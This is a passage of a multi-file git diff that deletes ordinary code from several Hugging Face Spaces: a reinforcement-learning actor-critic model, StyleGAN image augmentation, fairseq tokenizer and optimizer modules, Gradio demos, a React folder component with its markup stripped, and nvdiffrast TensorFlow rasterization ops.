action_space.nvec[0] + 1 # for talk - self.talk_action = int(self.n_primitive_actions) - 1 - - self.n_utterance_actions = action_space.nvec[1:] - - # in this model the talking is just finding one right thing to say - self.utterance_actions_params = [ - torch.nn.Parameter(torch.ones(n)) for n in self.n_utterance_actions - ] - for i, p in enumerate(self.utterance_actions_params): - self.register_parameter( - name="utterance_p_{}".format(i), - param=p - ) - - # Define image embedding - self.image_conv = nn.Sequential( - nn.Conv2d(3, 16, (2, 2)), - nn.ReLU(), - nn.MaxPool2d((2, 2)), - nn.Conv2d(16, 32, (2, 2)), - nn.ReLU(), - nn.Conv2d(32, 64, (2, 2)), - nn.ReLU() - ) - n = obs_space["image"][0] - m = obs_space["image"][1] - self.image_embedding_size = ((n-1)//2-2)*((m-1)//2-2)*64 - - # Define memory - if self.use_memory: - self.memory_rnn = nn.LSTMCell(self.image_embedding_size, self.semi_memory_size) - - if self.use_text or self.use_dialogue: - self.word_embedding_size = 32 - self.word_embedding = nn.Embedding(obs_space["text"], self.word_embedding_size) - - # Define text embedding - if self.use_text: - self.text_embedding_size = 128 - self.text_rnn = nn.GRU(self.word_embedding_size, self.text_embedding_size, batch_first=True) - - # Define dialogue embedding - if self.use_dialogue: - self.dialogue_embedding_size = 128 - self.dialogue_rnn = nn.GRU(self.word_embedding_size, self.dialogue_embedding_size, batch_first=True) - - # Resize image embedding - self.embedding_size = self.semi_memory_size - - if self.use_text: - self.embedding_size += self.text_embedding_size - - if self.use_dialogue: - self.embedding_size += self.dialogue_embedding_size - - # Define actor's model - self.actor = nn.Sequential( - nn.Linear(self.embedding_size, 64), - nn.Tanh(), - nn.Linear(64, self.n_primitive_actions) - ) - - # Define critic's model - self.critic = nn.Sequential( - nn.Linear(self.embedding_size, 64), - nn.Tanh(), - nn.Linear(64, 1) - ) - - # Initialize parameters correctly - self.apply(init_params) - - @property - def memory_size(self): - return 2*self.semi_memory_size - - @property - def semi_memory_size(self): - return self.image_embedding_size - - def forward(self, obs, memory): - x = obs.image.transpose(1, 3).transpose(2, 3) - x = self.image_conv(x) - - batch_size = x.shape[0] - x = x.reshape(batch_size, -1) - - if self.use_memory: - hidden = (memory[:, :self.semi_memory_size], memory[:, self.semi_memory_size:]) - hidden = self.memory_rnn(x, hidden) - embedding = hidden[0] - memory = torch.cat(hidden, dim=1) - else: - embedding = x - - if self.use_text: - embed_text = self._get_embed_text(obs.text) - embedding = torch.cat((embedding, embed_text), dim=1) - - if self.use_dialogue: - embed_dial = self._get_embed_dialogue(obs.dialogue) - embedding = torch.cat((embedding, embed_dial), dim=1) - - x = self.actor(embedding) - primtive_actions_dist = Categorical(logits=F.log_softmax(x, dim=1)) - - x = self.critic(embedding) - value = x.squeeze(1) - - # construct utterance action distributions, for this model they are radndom - utterance_actions_dists = [Categorical(logits=p.repeat(batch_size, 1)) for p in self.utterance_actions_params] - # print("utterance params argmax: ", list(map(lambda x: int(x.argmax()), self.utterance_actions_params))) - # print("utterance params", self.utterance_actions_params) - - dist = [primtive_actions_dist] + utterance_actions_dists - - return dist, value, memory - - def sample_action(self, dist): - return torch.stack([d.sample() for d in dist], dim=1) - - def calculate_log_probs(self, dist, action): - return torch.stack([d.log_prob(action[:, i]) for i, d in enumerate(dist)], dim=1) - - def calculate_action_masks(self, action): - talk_mask = action[:, 0] == self.talk_action - mask = torch.stack( - (torch.ones_like(talk_mask), talk_mask, talk_mask), - dim=1).detach() - - assert action.shape == mask.shape - - return mask - # return torch.ones_like(mask).detach() - - def construct_final_action(self, action): - act_mask = action[:, 0] != self.n_primitive_actions - 1 - - nan_mask = np.array([ - np.array([1, np.nan, np.nan]) if t else np.array([np.nan, 1, 1]) for t in act_mask - ]) - - action = nan_mask*action - - return action - - def _get_embed_text(self, text): - _, hidden = self.text_rnn(self.word_embedding(text)) - return hidden[-1] - - def _get_embed_dialogue(self, dial): - _, hidden = self.dialogue_rnn(self.word_embedding(dial)) - return hidden[-1] - - diff --git a/spaces/freddyaboulton/ts-lags/README.md b/spaces/freddyaboulton/ts-lags/README.md deleted file mode 100644 index defebce8e777564190555fb73ffba750f2df1e78..0000000000000000000000000000000000000000 --- a/spaces/freddyaboulton/ts-lags/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Ts Lags -emoji: 🦀 -colorFrom: pink -colorTo: yellow -sdk: gradio -sdk_version: 3.0.2 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference diff --git a/spaces/glyszt/vt/vtoonify/model/simple_augment.py b/spaces/glyszt/vt/vtoonify/model/simple_augment.py deleted file mode 100644 index 515d272734e4d10d346461965099a86e53f58701..0000000000000000000000000000000000000000 --- a/spaces/glyszt/vt/vtoonify/model/simple_augment.py +++ /dev/null @@ -1,468 +0,0 @@ -# almost the same as model.stylegan.non_leaking -# we only modify the parameters in sample_affine() to make the transformations mild - -import math - -import torch -from torch import autograd -from torch.nn import functional as F -import numpy as np - -from model.stylegan.distributed import reduce_sum -from model.stylegan.op import upfirdn2d - - -class AdaptiveAugment: - def __init__(self, ada_aug_target, ada_aug_len, update_every, device): - self.ada_aug_target = ada_aug_target - self.ada_aug_len = ada_aug_len - self.update_every = update_every - - self.ada_update = 0 - self.ada_aug_buf = torch.tensor([0.0, 0.0], device=device) - self.r_t_stat = 0 - self.ada_aug_p = 0 - - @torch.no_grad() - def tune(self, real_pred): - self.ada_aug_buf += torch.tensor( - (torch.sign(real_pred).sum().item(), real_pred.shape[0]), - device=real_pred.device, - ) - self.ada_update += 1 - - if self.ada_update % self.update_every == 0: - self.ada_aug_buf = reduce_sum(self.ada_aug_buf) - pred_signs, n_pred = self.ada_aug_buf.tolist() - - self.r_t_stat = pred_signs / n_pred - - if self.r_t_stat > self.ada_aug_target: - sign = 1 - - else: - sign = -1 - - self.ada_aug_p += sign * n_pred / self.ada_aug_len - self.ada_aug_p = min(1, max(0, self.ada_aug_p)) - self.ada_aug_buf.mul_(0) - self.ada_update = 0 - - return self.ada_aug_p - - -SYM6 = ( - 0.015404109327027373, - 0.0034907120842174702, - -0.11799011114819057, - -0.048311742585633, - 0.4910559419267466, - 0.787641141030194, - 0.3379294217276218, - -0.07263752278646252, - -0.021060292512300564, - 0.04472490177066578, - 0.0017677118642428036, - -0.007800708325034148, -) - - -def translate_mat(t_x, t_y, device="cpu"): - batch = t_x.shape[0] - - mat = torch.eye(3, device=device).unsqueeze(0).repeat(batch, 1, 1) - translate = torch.stack((t_x, t_y), 1) - mat[:, :2, 2] = translate - - return mat - - -def rotate_mat(theta, device="cpu"): - batch = theta.shape[0] - - mat = torch.eye(3, device=device).unsqueeze(0).repeat(batch, 1, 1) - sin_t = torch.sin(theta) - cos_t = torch.cos(theta) - rot = torch.stack((cos_t, -sin_t, sin_t, cos_t), 1).view(batch, 2, 2) - mat[:, :2, :2] = rot - - return mat - - -def scale_mat(s_x, s_y, device="cpu"): - batch = s_x.shape[0] - - mat = torch.eye(3, device=device).unsqueeze(0).repeat(batch, 1, 1) - mat[:, 0, 0] = s_x - mat[:, 1, 1] = s_y - - return mat - - -def translate3d_mat(t_x, t_y, t_z): - batch = t_x.shape[0] - - mat = torch.eye(4).unsqueeze(0).repeat(batch, 1, 1) - translate = torch.stack((t_x, t_y, t_z), 1) - mat[:, :3, 3] = translate - - return mat - - -def rotate3d_mat(axis, theta): - batch = theta.shape[0] - - u_x, u_y, u_z = axis - - eye = torch.eye(3).unsqueeze(0) - cross = torch.tensor([(0, -u_z, u_y), (u_z, 0, -u_x), (-u_y, u_x, 0)]).unsqueeze(0) - outer = torch.tensor(axis) - outer = (outer.unsqueeze(1) * outer).unsqueeze(0) - - sin_t = torch.sin(theta).view(-1, 1, 1) - cos_t = torch.cos(theta).view(-1, 1, 1) - - rot = cos_t * eye + sin_t * cross + (1 - cos_t) * outer - - eye_4 = torch.eye(4).unsqueeze(0).repeat(batch, 1, 1) - eye_4[:, :3, :3] = rot - - return eye_4 - - -def scale3d_mat(s_x, s_y, s_z): - batch = s_x.shape[0] - - mat = torch.eye(4).unsqueeze(0).repeat(batch, 1, 1) - mat[:, 0, 0] = s_x - mat[:, 1, 1] = s_y - mat[:, 2, 2] = s_z - - return mat - - -def luma_flip_mat(axis, i): - batch = i.shape[0] - - eye = torch.eye(4).unsqueeze(0).repeat(batch, 1, 1) - axis = torch.tensor(axis + (0,)) - flip = 2 * torch.ger(axis, axis) * i.view(-1, 1, 1) - - return eye - flip - - -def saturation_mat(axis, i): - batch = i.shape[0] - - eye = torch.eye(4).unsqueeze(0).repeat(batch, 1, 1) - axis = torch.tensor(axis + (0,)) - axis = torch.ger(axis, axis) - saturate = axis + (eye - axis) * i.view(-1, 1, 1) - - return saturate - - -def lognormal_sample(size, mean=0, std=1, device="cpu"): - return torch.empty(size, device=device).log_normal_(mean=mean, std=std) - - -def category_sample(size, categories, device="cpu"): - category = torch.tensor(categories, device=device) - sample = torch.randint(high=len(categories), size=(size,), device=device) - - return category[sample] - - -def uniform_sample(size, low, high, device="cpu"): - return torch.empty(size, device=device).uniform_(low, high) - - -def normal_sample(size, mean=0, std=1, device="cpu"): - return torch.empty(size, device=device).normal_(mean, std) - - -def bernoulli_sample(size, p, device="cpu"): - return torch.empty(size, device=device).bernoulli_(p) - - -def random_mat_apply(p, transform, prev, eye, device="cpu"): - size = transform.shape[0] - select = bernoulli_sample(size, p, device=device).view(size, 1, 1) - select_transform = select * transform + (1 - select) * eye - - return select_transform @ prev - - -def sample_affine(p, size, height, width, device="cpu"): - G = torch.eye(3, device=device).unsqueeze(0).repeat(size, 1, 1) - eye = G - - # flip - param = category_sample(size, (0, 1)) - Gc = scale_mat(1 - 2.0 * param, torch.ones(size), device=device) - G = random_mat_apply(p, Gc, G, eye, device=device) - # print('flip', G, scale_mat(1 - 2.0 * param, torch.ones(size)), sep='\n') - - # 90 rotate - #param = category_sample(size, (0, 3)) - #Gc = rotate_mat(-math.pi / 2 * param, device=device) - #G = random_mat_apply(p, Gc, G, eye, device=device) - # print('90 rotate', G, rotate_mat(-math.pi / 2 * param), sep='\n') - - # integer translate - param = uniform_sample(size, -0.125, 0.125) - param_height = torch.round(param * height) / height - param_width = torch.round(param * width) / width - Gc = translate_mat(param_width, param_height, device=device) - G = random_mat_apply(p, Gc, G, eye, device=device) - # print('integer translate', G, translate_mat(param_width, param_height), sep='\n') - - # isotropic scale - param = lognormal_sample(size, std=0.1 * math.log(2)) - Gc = scale_mat(param, param, device=device) - G = random_mat_apply(p, Gc, G, eye, device=device) - # print('isotropic scale', G, scale_mat(param, param), sep='\n') - - p_rot = 1 - math.sqrt(1 - p) - - # pre-rotate - param = uniform_sample(size, -math.pi * 0.25, math.pi * 0.25) - Gc = rotate_mat(-param, device=device) - G = random_mat_apply(p_rot, Gc, G, eye, device=device) - # print('pre-rotate', G, rotate_mat(-param), sep='\n') - - # anisotropic scale - param = lognormal_sample(size, std=0.1 * math.log(2)) - Gc = scale_mat(param, 1 / param, device=device) - G = random_mat_apply(p, Gc, G, eye, device=device) - # print('anisotropic scale', G, scale_mat(param, 1 / param), sep='\n') - - # post-rotate - param = uniform_sample(size, -math.pi * 0.25, math.pi * 0.25) - Gc = rotate_mat(-param, device=device) - G = random_mat_apply(p_rot, Gc, G, eye, device=device) - # print('post-rotate', G, rotate_mat(-param), sep='\n') - - # fractional translate - param = normal_sample(size, std=0.125) - Gc = translate_mat(param, param, device=device) - G = random_mat_apply(p, Gc, G, eye, device=device) - # print('fractional translate', G, translate_mat(param, param), sep='\n') - - return G - - -def sample_color(p, size): - C = torch.eye(4).unsqueeze(0).repeat(size, 1, 1) - eye = C - axis_val = 1 / math.sqrt(3) - axis = (axis_val, axis_val, axis_val) - - # brightness - param = normal_sample(size, std=0.2) - Cc = translate3d_mat(param, param, param) - C = random_mat_apply(p, Cc, C, eye) - - # contrast - param = lognormal_sample(size, std=0.5 * math.log(2)) - Cc = scale3d_mat(param, param, param) - C = random_mat_apply(p, Cc, C, eye) - - # luma flip - param = category_sample(size, (0, 1)) - Cc = luma_flip_mat(axis, param) - C = random_mat_apply(p, Cc, C, eye) - - # hue rotation - param = uniform_sample(size, -math.pi, math.pi) - Cc = rotate3d_mat(axis, param) - C = random_mat_apply(p, Cc, C, eye) - - # saturation - param = lognormal_sample(size, std=1 * math.log(2)) - Cc = saturation_mat(axis, param) - C = random_mat_apply(p, Cc, C, eye) - - return C - - -def make_grid(shape, x0, x1, y0, y1, device): - n, c, h, w = shape - grid = torch.empty(n, h, w, 3, device=device) - grid[:, :, :, 0] = torch.linspace(x0, x1, w, device=device) - grid[:, :, :, 1] = torch.linspace(y0, y1, h, device=device).unsqueeze(-1) - grid[:, :, :, 2] = 1 - - return grid - - -def affine_grid(grid, mat): - n, h, w, _ = grid.shape - return (grid.view(n, h * w, 3) @ mat.transpose(1, 2)).view(n, h, w, 2) - - -def get_padding(G, height, width, kernel_size): - device = G.device - - cx = (width - 1) / 2 - cy = (height - 1) / 2 - cp = torch.tensor( - [(-cx, -cy, 1), (cx, -cy, 1), (cx, cy, 1), (-cx, cy, 1)], device=device - ) - cp = G @ cp.T - - pad_k = kernel_size // 4 - - pad = cp[:, :2, :].permute(1, 0, 2).flatten(1) - pad = torch.cat((-pad, pad)).max(1).values - pad = pad + torch.tensor([pad_k * 2 - cx, pad_k * 2 - cy] * 2, device=device) - pad = pad.max(torch.tensor([0, 0] * 2, device=device)) - pad = pad.min(torch.tensor([width - 1, height - 1] * 2, device=device)) - - pad_x1, pad_y1, pad_x2, pad_y2 = pad.ceil().to(torch.int32) - - return pad_x1, pad_x2, pad_y1, pad_y2 - - -def try_sample_affine_and_pad(img, p, kernel_size, G=None): - batch, _, height, width = img.shape - - G_try = G - - if G is None: - G_try = torch.inverse(sample_affine(p, batch, height, width)) - - pad_x1, pad_x2, pad_y1, pad_y2 = get_padding(G_try, height, width, kernel_size) - - img_pad = F.pad(img, (pad_x1, pad_x2, pad_y1, pad_y2), mode="reflect") - - return img_pad, G_try, (pad_x1, pad_x2, pad_y1, pad_y2) - - -class GridSampleForward(autograd.Function): - @staticmethod - def forward(ctx, input, grid): - out = F.grid_sample( - input, grid, mode="bilinear", padding_mode="zeros", align_corners=False - ) - ctx.save_for_backward(input, grid) - - return out - - @staticmethod - def backward(ctx, grad_output): - input, grid = ctx.saved_tensors - grad_input, grad_grid = GridSampleBackward.apply(grad_output, input, grid) - - return grad_input, grad_grid - - -class GridSampleBackward(autograd.Function): - @staticmethod - def forward(ctx, grad_output, input, grid): - op = torch._C._jit_get_operation("aten::grid_sampler_2d_backward") - grad_input, grad_grid = op(grad_output, input, grid, 0, 0, False) - ctx.save_for_backward(grid) - - return grad_input, grad_grid - - @staticmethod - def backward(ctx, grad_grad_input, grad_grad_grid): - grid, = ctx.saved_tensors - grad_grad_output = None - - if ctx.needs_input_grad[0]: - grad_grad_output = GridSampleForward.apply(grad_grad_input, grid) - - return grad_grad_output, None, None - - -grid_sample = GridSampleForward.apply - - -def scale_mat_single(s_x, s_y): - return torch.tensor(((s_x, 0, 0), (0, s_y, 0), (0, 0, 1)), dtype=torch.float32) - - -def translate_mat_single(t_x, t_y): - return torch.tensor(((1, 0, t_x), (0, 1, t_y), (0, 0, 1)), dtype=torch.float32) - - -def random_apply_affine(img, p, G=None, antialiasing_kernel=SYM6): - kernel = antialiasing_kernel - len_k = len(kernel) - - kernel = torch.as_tensor(kernel).to(img) - # kernel = torch.ger(kernel, kernel).to(img) - kernel_flip = torch.flip(kernel, (0,)) - - img_pad, G, (pad_x1, pad_x2, pad_y1, pad_y2) = try_sample_affine_and_pad( - img, p, len_k, G - ) - - G_inv = ( - translate_mat_single((pad_x1 - pad_x2).item() / 2, (pad_y1 - pad_y2).item() / 2) - @ G - ) - up_pad = ( - (len_k + 2 - 1) // 2, - (len_k - 2) // 2, - (len_k + 2 - 1) // 2, - (len_k - 2) // 2, - ) - img_2x = upfirdn2d(img_pad, kernel.unsqueeze(0), up=(2, 1), pad=(*up_pad[:2], 0, 0)) - img_2x = upfirdn2d(img_2x, kernel.unsqueeze(1), up=(1, 2), pad=(0, 0, *up_pad[2:])) - G_inv = scale_mat_single(2, 2) @ G_inv @ scale_mat_single(1 / 2, 1 / 2) - G_inv = translate_mat_single(-0.5, -0.5) @ G_inv @ translate_mat_single(0.5, 0.5) - batch_size, channel, height, width = img.shape - pad_k = len_k // 4 - shape = (batch_size, channel, (height + pad_k * 2) * 2, (width + pad_k * 2) * 2) - G_inv = ( - scale_mat_single(2 / img_2x.shape[3], 2 / img_2x.shape[2]) - @ G_inv - @ scale_mat_single(1 / (2 / shape[3]), 1 / (2 / shape[2])) - ) - grid = F.affine_grid(G_inv[:, :2, :].to(img_2x), shape, align_corners=False) - img_affine = grid_sample(img_2x, grid) - d_p = -pad_k * 2 - down_pad = ( - d_p + (len_k - 2 + 1) // 2, - d_p + (len_k - 2) // 2, - d_p + (len_k - 2 + 1) // 2, - d_p + (len_k - 2) // 2, - ) - img_down = upfirdn2d( - img_affine, kernel_flip.unsqueeze(0), down=(2, 1), pad=(*down_pad[:2], 0, 0) - ) - img_down = upfirdn2d( - img_down, kernel_flip.unsqueeze(1), down=(1, 2), pad=(0, 0, *down_pad[2:]) - ) - - return img_down, G - - -def apply_color(img, mat): - batch = img.shape[0] - img = img.permute(0, 2, 3, 1) - mat_mul = mat[:, :3, :3].transpose(1, 2).view(batch, 1, 3, 3) - mat_add = mat[:, :3, 3].view(batch, 1, 1, 3) - img = img @ mat_mul + mat_add - img = img.permute(0, 3, 1, 2) - - return img - - -def random_apply_color(img, p, C=None): - if C is None: - C = sample_color(p, img.shape[0]) - - img = apply_color(img, C.to(img)) - - return img, C - - -def augment(img, p, transform_matrix=(None, None)): - img, G = random_apply_affine(img, p, transform_matrix[0]) - img, C = random_apply_color(img, p, transform_matrix[1]) - - return img, (G, C) diff --git a/spaces/gradio/HuBERT/examples/m2m_100/tokenizers/tokenize_indic.py b/spaces/gradio/HuBERT/examples/m2m_100/tokenizers/tokenize_indic.py deleted file mode 100644 index a44fad07f7c718f99cccd445f33c62b0e3c562f4..0000000000000000000000000000000000000000 --- a/spaces/gradio/HuBERT/examples/m2m_100/tokenizers/tokenize_indic.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python3 -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -# Use: echo {text} | python tokenize_indic.py {language} - -import sys - -from indicnlp.normalize.indic_normalize import IndicNormalizerFactory -from indicnlp.tokenize.indic_tokenize import trivial_tokenize - - -factory = IndicNormalizerFactory() -normalizer = factory.get_normalizer( - sys.argv[1], remove_nuktas=False, nasals_mode="do_nothing" -) - -for line in sys.stdin: - normalized_line = normalizer.normalize(line.strip()) - tokenized_line = " ".join(trivial_tokenize(normalized_line, sys.argv[1])) - print(tokenized_line) diff --git a/spaces/gradio/HuBERT/fairseq/optim/adadelta.py b/spaces/gradio/HuBERT/fairseq/optim/adadelta.py deleted file mode 100644 index f1a21549770f0904a6a40a42ff7eb52811f1bfbe..0000000000000000000000000000000000000000 --- a/spaces/gradio/HuBERT/fairseq/optim/adadelta.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import torch.optim - -from . import LegacyFairseqOptimizer, register_optimizer - - -@register_optimizer("adadelta") -class Adadelta(LegacyFairseqOptimizer): - def __init__(self, args, params): - super().__init__(args) - self._optimizer = torch.optim.Adadelta(params, **self.optimizer_config) - - @staticmethod - def add_args(parser): - """Add optimizer-specific arguments to the parser.""" - # fmt: off - parser.add_argument('--adadelta-rho', type=float, default=0.9, metavar='RHO', - help='coefficient used for computing a running average of squared gradients') - parser.add_argument('--adadelta-eps', type=float, default=1e-6, metavar='EPS', - help='term added to the denominator to improve numerical stability') - parser.add_argument('--weight-decay', '--wd', default=0.0, type=float, metavar='WD', - help='weight decay') - parser.add_argument('--anneal-eps', action='store_true', help='flag to anneal eps') - # fmt: on - - @property - def optimizer_config(self): - """ - Return a kwarg dictionary that will be used to override optimizer - args stored in checkpoints. This allows us to load a checkpoint and - resume training using a different set of optimizer args, e.g., with a - different learning rate. - """ - return { - "lr": self.args.lr[0], - "rho": self.args.adadelta_rho, - "eps": self.args.adadelta_eps, - "weight_decay": self.args.weight_decay, - } - - @property - def supports_flat_params(self): - return True diff --git a/spaces/gradio/kitchen_sink/README.md b/spaces/gradio/kitchen_sink/README.md deleted file mode 100644 index 92a2e6c0d41abfad3644584c4bf71c64ca3d80e1..0000000000000000000000000000000000000000 --- a/spaces/gradio/kitchen_sink/README.md +++ /dev/null @@ -1,12 +0,0 @@ - ---- -title: kitchen_sink -emoji: 🔥 -colorFrom: indigo -colorTo: indigo -sdk: gradio -sdk_version: 4.1.2 -app_file: run.py -pinned: false -hf_oauth: true ---- diff --git a/spaces/gradio/neon-tts-plugin-coqui/run.py b/spaces/gradio/neon-tts-plugin-coqui/run.py deleted file mode 100644 index b5a78d625ffde42934edbbb31bbffe70081218c0..0000000000000000000000000000000000000000 --- a/spaces/gradio/neon-tts-plugin-coqui/run.py +++ /dev/null @@ -1,19 +0,0 @@ -import tempfile -import gradio as gr -from neon_tts_plugin_coqui import CoquiTTS - -LANGUAGES = list(CoquiTTS.langs.keys()) -coquiTTS = CoquiTTS() - -def tts(text: str, language: str): - with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as fp: - coquiTTS.get_tts(text, fp, speaker = {"language" : language}) - return fp.name - -inputs = [gr.Textbox(label="Input", value=CoquiTTS.langs["en"]["sentence"], max_lines=3), - gr.Radio(label="Language", choices=LANGUAGES, value="en")] -outputs = gr.Audio(label="Output") - -demo = gr.Interface(fn=tts, inputs=inputs, outputs=outputs) - -demo.launch() \ No newline at end of file diff --git a/spaces/gradio/text_generation/app.py b/spaces/gradio/text_generation/app.py deleted file mode 100644 index a84d7042d5e94d2754393254f5058e52278a67de..0000000000000000000000000000000000000000 --- a/spaces/gradio/text_generation/app.py +++ /dev/null @@ -1,22 +0,0 @@ -import gradio as gr -from transformers import pipeline - -generator = pipeline('text-generation', model='gpt2') - -def generate(text): - result = generator(text, max_length=30, num_return_sequences=1) - return result[0]["generated_text"] - -examples = [ - ["The Moon's orbit around Earth has"], - ["The smooth Borealis basin in the Northern Hemisphere covers 40%"], -] - -demo = gr.Interface( - fn=generate, - inputs=gr.inputs.Textbox(lines=5, label="Input Text"), - outputs=gr.outputs.Textbox(label="Generated Text"), - examples=examples -) - -demo.launch() diff --git a/spaces/gsaivinay/Llama-2-13B-GGML-UI/components/Folder/Folder.tsx b/spaces/gsaivinay/Llama-2-13B-GGML-UI/components/Folder/Folder.tsx deleted file mode 100644 index 183261e0093bb697d9be8620c6b0b81c041b9f82..0000000000000000000000000000000000000000 --- a/spaces/gsaivinay/Llama-2-13B-GGML-UI/components/Folder/Folder.tsx +++ /dev/null @@ -1,192 +0,0 @@ -import { - IconCaretDown, - IconCaretRight, - IconCheck, - IconPencil, - IconTrash, - IconX, -} from '@tabler/icons-react'; -import { - KeyboardEvent, - ReactElement, - useContext, - useEffect, - useState, -} from 'react'; - -import { FolderInterface } from '@/types/folder'; - -import HomeContext from '@/pages/api/home/home.context'; - -import SidebarActionButton from '@/components/Buttons/SidebarActionButton'; - -interface Props { - currentFolder: FolderInterface; - searchTerm: string; - handleDrop: (e: any, folder: FolderInterface) => void; - folderComponent: (ReactElement | undefined)[]; -} - -const Folder = ({ - currentFolder, - searchTerm, - handleDrop, - folderComponent, -}: Props) => { - const { handleDeleteFolder, handleUpdateFolder } = useContext(HomeContext); - - const [isDeleting, setIsDeleting] = useState(false); - const [isRenaming, setIsRenaming] = useState(false); - const [renameValue, setRenameValue] = useState(''); - const [isOpen, setIsOpen] = useState(false); - - const handleEnterDown = (e: KeyboardEvent) => { - if (e.key === 'Enter') { - e.preventDefault(); - handleRename(); - } - }; - - const handleRename = () => { - handleUpdateFolder(currentFolder.id, renameValue); - setRenameValue(''); - setIsRenaming(false); - }; - - const dropHandler = (e: any) => { - if (e.dataTransfer) { - setIsOpen(true); - - handleDrop(e, currentFolder); - - e.target.style.background = 'none'; - } - }; - - const allowDrop = (e: any) => { - e.preventDefault(); - }; - - const highlightDrop = (e: any) => { - e.target.style.background = '#343541'; - }; - - const removeHighlight = (e: any) => { - e.target.style.background = 'none'; - }; - - useEffect(() => { - if (isRenaming) { - setIsDeleting(false); - } else if (isDeleting) { - setIsRenaming(false); - } - }, [isRenaming, isDeleting]); - - useEffect(() => { - if (searchTerm) { - setIsOpen(true); - } else { - setIsOpen(false); - } - }, [searchTerm]); - - return ( - <> -
          - {isRenaming ? ( -
          - {isOpen ? ( - - ) : ( - - )} - setRenameValue(e.target.value)} - onKeyDown={handleEnterDown} - autoFocus - /> -
          - ) : ( - - )} - - {(isDeleting || isRenaming) && ( -
          - { - e.stopPropagation(); - - if (isDeleting) { - handleDeleteFolder(currentFolder.id); - } else if (isRenaming) { - handleRename(); - } - - setIsDeleting(false); - setIsRenaming(false); - }} - > - - - { - e.stopPropagation(); - setIsDeleting(false); - setIsRenaming(false); - }} - > - - -
          - )} - - {!isDeleting && !isRenaming && ( -
          - { - e.stopPropagation(); - setIsRenaming(true); - setRenameValue(currentFolder.name); - }} - > - - - { - e.stopPropagation(); - setIsDeleting(true); - }} - > - - -
          - )} -
          - - {isOpen ? folderComponent : null} - - ); -}; - -export default Folder; diff --git a/spaces/gwang-kim/DATID-3D/pose_estimation/nvdiffrast/nvdiffrast/tensorflow/ops.py b/spaces/gwang-kim/DATID-3D/pose_estimation/nvdiffrast/nvdiffrast/tensorflow/ops.py deleted file mode 100644 index be51deef13e0ecfbd5bfe8bc376af24a18db7224..0000000000000000000000000000000000000000 --- a/spaces/gwang-kim/DATID-3D/pose_estimation/nvdiffrast/nvdiffrast/tensorflow/ops.py +++ /dev/null @@ -1,303 +0,0 @@ -# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. -# -# NVIDIA CORPORATION and its licensors retain all intellectual property -# and proprietary rights in and to this software, related documentation -# and any modifications thereto. Any use, reproduction, disclosure or -# distribution of this software and related documentation without an express -# license agreement from NVIDIA CORPORATION is strictly prohibited. - -import tensorflow as tf -import numpy as np -import os -from . import plugin_loader - -#---------------------------------------------------------------------------- -# Helpers. -#---------------------------------------------------------------------------- - -# OpenGL-related linker options depending on platform. -def _get_gl_opts(): - libs = { - 'posix': ['GL', 'EGL'], - 'nt': ['gdi32', 'opengl32', 'user32', 'setgpu'], - } - return ['-l' + x for x in libs[os.name]] - -# Load the cpp plugin. -def _get_plugin(): - fn = os.path.join(os.path.dirname(__file__), 'tf_all.cu') - return plugin_loader.get_plugin(fn, extra_nvcc_options=_get_gl_opts() + ['-DNVDR_TENSORFLOW']) - -# Convert parameter to a numpy array if possible. -def _get_constant(x, dtype): - try: - return np.asarray(x, dtype=dtype) - except (TypeError, ValueError): - return None - -# Tests for a construction-time constantness instead of tf.constant node because -# the latter can be overridden in Session.run() feed_dict at evaluation time. -def _is_constant(x, dtype): - if isinstance(x, np.ndarray): - return np.can_cast(x.dtype, dtype, 'unsafe') - else: - return _get_constant(x, dtype) is not None - -#---------------------------------------------------------------------------- -# Rasterize. -#---------------------------------------------------------------------------- - -def rasterize(pos, tri, resolution, ranges=None, tri_const=False, output_db=True, grad_db=True): - assert tri_const is True or tri_const is False - assert output_db is True or output_db is False - - # Known constant resolution? - resolution_c = _get_constant(resolution, np.int32) - - # Known constant triangles? - tri_const = tri_const or _is_constant(tri, np.int32) - - # Convert all inputs to tensors / base types. - tri_const = 1 if tri_const else 0 - tri = tf.convert_to_tensor(tri, dtype=tf.int32) - pos = tf.convert_to_tensor(pos, dtype=tf.float32) - resolution = tf.convert_to_tensor(resolution, dtype=tf.int32) - if ranges is None: - ranges = tf.convert_to_tensor(np.zeros(shape=[0, 2], dtype=np.int32)) # Empty tensor. - else: - ranges = tf.convert_to_tensor(ranges, dtype=tf.int32) # Convert input to tensor. - - # Infer as much about the output shape as possible. - out_shape = [None, None, None, 4] - if pos.shape.rank == 3: # Instanced mode. - out_shape[0] = pos.shape[0].value - elif pos.shape.rank == 2: # Range mode. - if ranges.shape.rank not in [None, 0]: - out_shape[0] = ranges.shape[0].value - if resolution_c is not None: - assert resolution_c.shape == (2,) - out_shape[1], out_shape[2] = resolution_c - - # Output pixel differentials. - @tf.custom_gradient - def func_db(pos): - out, out_db = _get_plugin().rasterize_fwd(pos, tri, resolution, ranges, 1, tri_const) - out.set_shape(out_shape) - out_db.set_shape(out_shape) - def grad(dy, ddb): - if grad_db: - return _get_plugin().rasterize_grad_db(pos, tri, out, dy, ddb) - else: - return _get_plugin().rasterize_grad(pos, tri, out, dy) - return (out, out_db), grad - - # Do not output pixel differentials. - @tf.custom_gradient - def func(pos): - out, out_db = _get_plugin().rasterize_fwd(pos, tri, resolution, ranges, 0, tri_const) - out.set_shape(out_shape) - out_db.set_shape(out_shape[:-1] + [0]) # Zero channels in out_db. - def grad(dy, _): - return _get_plugin().rasterize_grad(pos, tri, out, dy) - return (out, out_db), grad - - # Choose stub. - if output_db: - return func_db(pos) - else: - return func(pos) - -#---------------------------------------------------------------------------- -# Interpolate. -#---------------------------------------------------------------------------- - -def interpolate(attr, rast, tri, rast_db=None, diff_attrs=None): - # Sanitize the list of pixel differential attributes. - if diff_attrs is None: - diff_attrs = [] - elif diff_attrs != 'all': - diff_attrs = _get_constant(diff_attrs, np.int32) - assert (diff_attrs is not None) and len(diff_attrs.shape) == 1 - diff_attrs = diff_attrs.tolist() - - # Convert all inputs to tensors. - attr = tf.convert_to_tensor(attr, 